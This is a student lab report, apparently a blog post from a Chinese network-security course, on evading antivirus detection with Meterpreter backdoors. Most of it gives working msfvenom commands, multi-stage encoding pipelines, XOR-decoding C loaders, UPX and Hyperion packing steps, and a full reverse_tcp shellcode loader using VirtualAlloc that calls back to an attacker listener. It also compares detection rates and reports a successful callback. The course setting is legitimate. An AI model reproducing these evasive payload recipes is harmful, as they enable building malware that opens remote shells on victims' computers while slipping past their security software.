20232421 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实践内容

1.1 实践目标

  • 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧。

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    • veil,加壳工具

    • 使用C + shellcode编程

  • 通过组合应用各种技术实现恶意代码免杀。

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

1.2 问题回答

  • 杀软是如何检测出恶意代码的?

杀毒软件主要通过以下方式检测恶意代码:

  • 特征码扫描:将文件与已知病毒的特征码数据库进行比对,匹配则报毒。

  • 启发式分析:通过代码行为、结构或指令特征推测可疑行为(如自加密、异常系统调用)。

  • 行为监控:在沙箱或真实环境中运行程序,观察是否执行敏感操作(如修改系统文件、连接恶意IP)。

  • 机器学习模型:使用训练好的AI模型分析文件特征(如API调用序列、二进制结构)判断恶意性。

  • 云查杀:将文件哈希或样本上传至云端服务器,通过更庞大的威胁情报库快速检测。

  • 免杀是做什么?

免杀(Evasion)指通过技术手段修改恶意代码,使其逃避杀毒软件的检测,同时保持原有功能。

  • 免杀的基本方法有哪些?

静态免杀(针对特征码/启发式扫描)

  • 代码混淆:重命名函数、变量,插入垃圾指令(花指令),改变程序结构。

  • 加密/编码:对恶意代码加密,运行时解密执行(如Base64编码、AES加密)。

  • 加壳/压缩:使用商用或自定义壳(如UPX)压缩代码,隐藏原始特征。

  • 模块化分离:将恶意功能拆分为多个文件,降低单文件可疑度。

动态免杀(针对行为监控/沙箱)

  • 环境感知:检测沙箱(如检查内存、进程数量),在真实环境才执行恶意行为。

  • 延迟执行:加入休眠或无关循环,绕过沙箱的时间限制。

  • API调用混淆:间接调用系统API(如通过函数指针),避免敏感调用被直接捕获。

  • 无文件攻击:利用合法工具(如PowerShell、WMI)执行代码,减少文件落地。

其他高级技术

  • 内存加载:将恶意代码直接注入内存,避免文件扫描。

  • 流量伪装:加密C2通信流量,模仿正常协议(如HTTPS)。

  • Rootkit技术:挂钩系统函数,隐藏进程、文件或网络活动。

2.实践过程

2.1 实验准备

2.1.1 免杀效果参考基准

2.1.2 查询kali虚拟机的IP地址

  • 使用命令ifconfig查询IP地址,最终结果为192.168.150.128

    2bcb7c28f1299edb0f85fab4cc36c92a

2.2 使用多种方式对后门文件进行免杀处理

2.2.1 使用msf编码器

2.2.1.1 直接生成后门程序
  • 直接生成一个基于Windows平台、采用reverse_tcp类型的Meterpreter后门程序,将其保存为20232421dk.exe文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.128 PORT=2421 -f exe > 20232421dk.exe
    

    80044494093ba81acd892e46d97da2be

  • 检测结果

    6a3048cf126cdf6be716e6d2ba91db4a

2.2.1.2 1次编码的exe文件
  • 生成一个使用了编码技术shikata_ga_nai的Windows下恶意可执行文件

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.128 LPORT=2421 -f exe > zhijie_20232421dk_1.exe
    

    e72bb23569c945ce1fcaec6c1b0aa8a5

  • 检测结果

    474350f93c226f3b6a38f87c05a4213d

2.2.1.3 10次编码的exe文件
  • 为探究编码次数对免杀效果的影响,此处编码10次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b '\x00' LHOST=192.168.150.128 LPORT=2421 -f exe > zhijie_20232421dk_10.exe
    

    7ef29c4cebae240c09b1401451bcaffb

  • 检测结果

    23898c6c391df72c6cc9983edd6b80a5

2.2.1.4 50次编码的exe文件
  • 为进一步探究编码次数对免杀效果的影响,此处编码50次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 50 -b '\x00' LHOST=192.168.150.128 LPORT=2421 -f exe > zhijie_20232421dk_50.exe
    

    e2e90bcef9aa0d2250643bf64136cf1e

  • 检测结果

    9ceedc6e02c057eaf52229932b422523

2.2.1.5 payload选用jar
  • 修改msf的payload,生成jar包,看看对免杀效果的影响

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=2421 x>jar_20232421dk.jar
    

    d0403ff82d6f2df7291d5be0f5e478dc

  • 检测结果

    a6ceaf3343e29d63116c09cfcbf65532

2.2.1.6 payload选用php
  • 修改msf的payload,生成php文件,看看对免杀效果的影响

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=2421 x> php_20232421dk.php
    

    70eaf52987398935f2a99a0d1a355610

  • 检测结果
    fe4191b04a9c87549a0db2717606277c

2.2.1.7 payload选用python
  • 修改msf的payload,生成py文件,看看对免杀效果的影响

    msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=2421 x> py_20232421dk.py
    

    42d93f42f2a0d3ffda287524f3eb6da4

  • 检测结果
    74829a386bd87b12070daa15cdbf2c71

2.2.2 实验结果分析
  • 编码次数对免杀效果作用较小

根据zhijie_20232421dk_1.exe(12/48)、zhijie_20232421dk_10.exe(13/48)和zhijie_20232421dk_50.exe(12/48)发现编码次数与检出率,但实际结果影响较小

  • 使用不同编程语言的payload对免杀效果有一定的影响

根据20232421dk.exe(15/48)、jar_20232421dk.jar(15/48)、php_20232421dk.php(8/48)、py_20232421dk.py(5/48)发现免杀效果由高到低排序为.py > .php > .jar/.exe

2.2.2 使用veil免杀工具

2.2.2.1 环境准备
  • 更新软件包列表索引

    sudo apt update
    

    f61c1cd68ad85b8986ecb8a2030b07a5

  • 下载veil工具

    sudo apt -y install veil
    

    2dd0ba6cf4780afb4b021da20a4c9905

  • 强制并静默地运行Veil工具的初始化设置脚本

    usr/share/veil/config/setup.sh --force --silent
    

    b101db3b9f5fb23065cee7522eb34e82

    1b7d41115c30ff1dcd1ed0b589e7da78

2.2.2.2 可执行文件生成
  • 进入veil框架的交互式命令行界面

    veil
    

    c485b92df69339fac48627396e5da2cd

  • 进入Evasion躲避模块

    use 1
    

    a8bbe0eef4f57e98809014ec9274d3af

  • 查看所有可用的载荷种类

    list
    

    f4f1a1478f87cf521e29c99c8ad994c7

  • 选择生成C语言编写的可执行文件

    use 7
    

    47fd6884e8cc595290682474854d7cc3

  • 输入配置信息(包括攻击机器的IP与端口,以及所需要生成文件的文件名配置)

    set LHOST 192.168.150.128
    set LPORT 2421
    generate
    20232421_veil
    

    de7978ec9d12d5b1fc44197b01717576

2.2.2.3 可执行文件免杀情况检测
  • 检出率为11/48

    7d3ce2079dbaa86af597d8595d95c247

2.2.3 使用C+shellcode编程

STEP 1 生成shellcode.c
  • 使用msfvenom工具生成Windows平台的反向TCP Meterpreter payload,指定攻击机IP(LHOST=192.168.150.128)和监听端口(LPORT=2421),并以C语言数组(-f c)格式输出

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=2421 -f c
    

    e94f2daa1c3e6390526cee5b3af0f6e3

STEP 2 编写C语言程序
  • 使用命令vi shellcode_c_20232421.c创建C语言文件shellcode_c_20232421.c,将上一步生成的shellcode作为无符号字符数组buf存储。

    1247b4a2d54662040fd1b6950f23906e

    编辑内容如下:

    unsigned char buf[]=(前一步shellcode);
    int main(){
      int(*func)()=(int (*)())buf;
      func();
    }
    

    a7e831a13de976f97ca1b73fe08274ad

STEP 3 交叉编译
  • 使用32位Windows交叉编译器将C语言程序编译为可执行文件

    i686-w64-mingw32-g++ shellcode_c_20232421.c -o shellcode_c_20232421.exe
    

    9ec3164c12d8eca1e99ea8e9031b75ad

STEP 4 结果验证
  • 检出率为8/48

    image

2.2.4 使用加壳工具

加壳是恶意代码免杀的基础技术,通过压缩、加密可执行文件,改变其原始特征码,规避杀毒软件的静态查杀。

2.2.4.1 使用压缩壳UPX

UPX是一款开源的通用压缩壳,通过压缩可执行文件的代码段和数据段,减小文件体积的同时隐藏原始特征

  • STEP 1 使用压缩壳对可执行文件进行处理

    upx shellcode_c_20232421.exe -o shellcode_c_upx_20232421.exe
    

    04b8af38d282c1e073181ff5e356a01b

  • STEP 2 检测结果

    检出率为9/48

    image

2.2.4.2 使用加密壳hyperion

Hyperion是一款针对Windows PE文件的开源加密壳,基于AES加密算法对程序代码进行加密,运行时自动解密执行,能有效对抗静态特征查杀。

  • STEP 1 将基础样本复制至工具目录并切换至目录

    cp shellcode_c_20232421.exe /usr/share/windows-resources/hyperion/
    cd /usr/share/windows-resources/hyperion
    
  • STEP 2 使用加密壳对可执行文件进行处理

    wine hyperion.exe -v shellcode_c_20232421.exe shellcode_c_hyp_20232421.exe
    

    a56526fc2487a5e3b55d1597f32cbd28

  • STEP 3 检测结果

    检出率为18/48(事实证明,不是加壳就会更好,或许因为这个壳很容易被识破反而检出率上升)

    image

2.3 组合应用各种技术实现恶意代码免杀

2.3.1 msfvenom+UPX+Hyperion

STEP 1 生成编码后的C格式shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.128 LPORT=2421 -f c > 20232421_shellcode_multi.c

84fd018e164f5bc8a08ad0069801ebe7

STEP 2 补全C语言载体程序并编译
vim 20232421_shellcode_multi.c

c7465b62e1d0e41ee0cb2c56cdbc112f

编辑内容如下:

int main(){
	int(*func)()=(int (*)())buf;
	func();
}

57a24ddad1dcfec565de5fda261f4979

i686-w64-mingw32-g++ 20232421_shellcode_multi.c -o 20232421_shellcode_2_3_1.exe

269a392aca7ad0bc2b59eef8919e6a9b

STEP 3 UPX压缩壳加固
upx 20232421_shellcode_2_3_1.exe -o 20232421_shellcode_2_3_2.exe

de8e652a8248b8223c1b6bc12143b7ec

STEP 4 Hyperion加密壳加固
cp 20232421_shellcode_2_3_2.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v 20232421_shellcode_2_3_2.exe 20232421_shellcode_2_3_3.exe

d13b785d0d25a600d7579df9cb469ced

STEP 5 检测结果

检出率19/48(看到这里我真的乐了,真是招笑,1+1+1=-3???)

image

2.3.2 shellcode+两次编码+c语言半手工编程

STEP 1 生成两次编码后的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=192.168.150.128 LPORT=2421 -f raw | msfvenom -a x86 --platform windows -b ''\x00' e x86/bloxor -f c > 20232421_shellcode_v2.c

通过管道函数将msfvenom的输出作为输入,实现两次编码叠加

  • 第一次编码:使用shikata_ga_nai编码器,剔除空字节(-b'\x00'),生成原始编码后的raw格式shellcode;
  • 第二次编码:将第一次编码后的shellcode作为输入,使用x86/bloxor编码器再次编码,进一步混淆特征;
  • 最终输出为C语言格式,写入文件20232421_shellcode_v2.c。

91e8da00c0e6d9e730d1db99d71d75f5

STEP 2 编写带手动解密逻辑的C语言程序
vim 20232421_shellcode_v2.c

ec0873382409d8ff9154a78f5c42be81

编辑内容如下:

#include<studio.h>
unsigned char buf[]=(前一步shellcode);
int main(){
	int i;
	for (i = 0; i< sizeof(buf); i++)
		buf[i] ^= 0x01;
	int(*func)()=(int (*)())buf;
	func();
}

30e1d7e2354b8407921a1c466b5bff85

  • 包含标准输入输出头文件(#include<stdio.h>);

  • 在main函数中,通过for循环遍历shellcode数组buf,每个字节与0x01进行异或运算(简单且高效的解密方式,运行时恢复原始shellcode);

  • 通过函数指针执行解密后的shellcode。

STEP 3 交叉编译
i686-w64-mingw32-g++ 20232421_shellcode_v2.c -o 20232421_shellcode_v2.exe

3c1daaf06f57d17a8033f66ea0fa4507

STEP 4 检测结果
  • 检出率为4/48(借鉴先辈的还是有效)

    image

2.4 实测回连

实测回连步骤

  • Kali虚拟机作为攻击机,进入msf的控制台,配置监听处理器、载荷类型、IP地址与监听端口等相关信息(详细步骤解释可见实验二相关说明)

实测文件

  • 此处选用dk.exe(关于这个文件是什么详见问题及解决方案)

实测结果

  • 9d46851af70208cbf580d78b842955b5

此处原本想要尝试使用2.3.2中检出率为4/48的恶意文件20232421_shellcode_v2.exe进行回连检测,但实际无法完成回连

  • 打开火绒,dk.exe秒被隔离(我真没招了。。。)
    屏幕截图 2025-12-05 104052

3.问题及解决方案

本次实验大部分步骤较为顺利,问题主要出在实测回连这一步骤

问题:使用恶意文件20232421_shellcode_v2.exe进行回连实测的时候msf无响应

解决过程:

  • STEP 0:合理运用AI,查询问题原因

AI的答案:核心原因:目标未主动发起连接reverse_tcp

  • payload的工作流程是:

攻击机(MSF handler)监听指定IP(LHOST)和端口(LPORT)。

目标机运行 payload 后,会主动向攻击机的 LHOST:LPORT 发起 TCP 连接。

连接建立后,攻击机才能获取会话(session)。

卡在此步骤的本质:目标机未执行 payload,或执行后无法连接到攻击机的 LHOST:LPORT。

STEP 1:检测连通性

  • 直接在目标机中执行以下命令,检测攻击机是否可达

    Test-NetConnection -ComputerName 192.168.150.128 -Port 2421 -InformationLevel Detailed
    

    789365ddec1eb7c9de54e9b3d092d39b

STEP 2:确认目标机是否已经执行payload

  • 双击.exe文件,出现错误弹窗

    6addc8ee98d148eee516d744b5ca2795

此处可能是因为之前维修电脑迁移系统时误将MinGW删除,系统无法进行gcc编译

  • 安装MinGW,弹窗依旧存在

考虑从攻击机产生payload的过程入手,取消动态链接,选用静态链接

  • 生成payload的过程换为静态链接,弹窗消失但执行被拦截
i686-w64-mingw32-g++ dk.c -o dk.exe \
-static-libgcc
  • -static-libgcc:静态链接 GCC 运行时库(解决 libgcc_s_dw2-1.dll 依赖)。

  • 从代码入手,强制内存可执行

    • 更改后代码(dk.c)

      #include <windows.h>
      
      unsigned char buf[] = 
      "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b"
      "\x52\x0c\x89\xe5\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
      "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
      "\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
      "\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
      "\x8b\x48\x18\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01"
      "\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
      "\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
      "\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
      "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
      "\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
      "\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
      "\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
      "\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x96\x80\x68\x02\x00"
      "\x09\x75\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
      "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
      "\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
      "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
      "\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
      "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
      "\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
      "\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
      "\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
      "\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
      "\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
      "\x00\x53\xff\xd5";
      
      int main() {
          // 1. 分配可执行内存
          void *exec_mem = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
          if (exec_mem == NULL) {
              return 1;  // 分配失败
          }
      
          // 2. 复制 Shellcode 到可执行内存
          memcpy(exec_mem, buf, sizeof(buf));
      
          // 3. 执行 Shellcode
          ((void (*)())exec_mem)();
      
          return 0;
      }
      
  • 选用静态编译,可完成实测回连

    9d46851af70208cbf580d78b842955b5

  • 最后顺手检测一下新的dk.exe(很一般啊很一般)

    image

4.学习感悟、思考等

这是一次非常现实的实验(指有防病毒软件等安全防护),感觉过程中对安全防护是又爱又恨。一方面,又觉得确实他们能够保护本人的电脑,使其免于恶意代码的入侵;另一方面,作为实验者,shellcode刚编译完成就被特征库识别,叠加了两层加壳与手动解密逻辑的程序依然逃不过动态行为检测,甚至连躲过之后回连测试还是不行。

本次实验让我明白,“攻防博弈”的内涵:攻击者用编码、加壳、手动解密等手段试图混淆特征、规避检测,防御方则通过特征库升级、动态行为分析、内存保护等技术不断补全漏洞。更深刻的是,这场实验让我跳出了“技术工具使用者”的视角,深刻意识到:安全防护需要持续跟进攻击技术演变的动态过程。

最后批评一下自己,最后实测回连的时候其实偷懒了,火绒能把我的dk.exe删除其实是因为代码中强制访问了内存,并不是因为代码本身编码被识破嘻嘻。

参考资料

posted @ 2025-10-27 22:59  20232421邓锴  阅读(25)  评论(0)    收藏  举报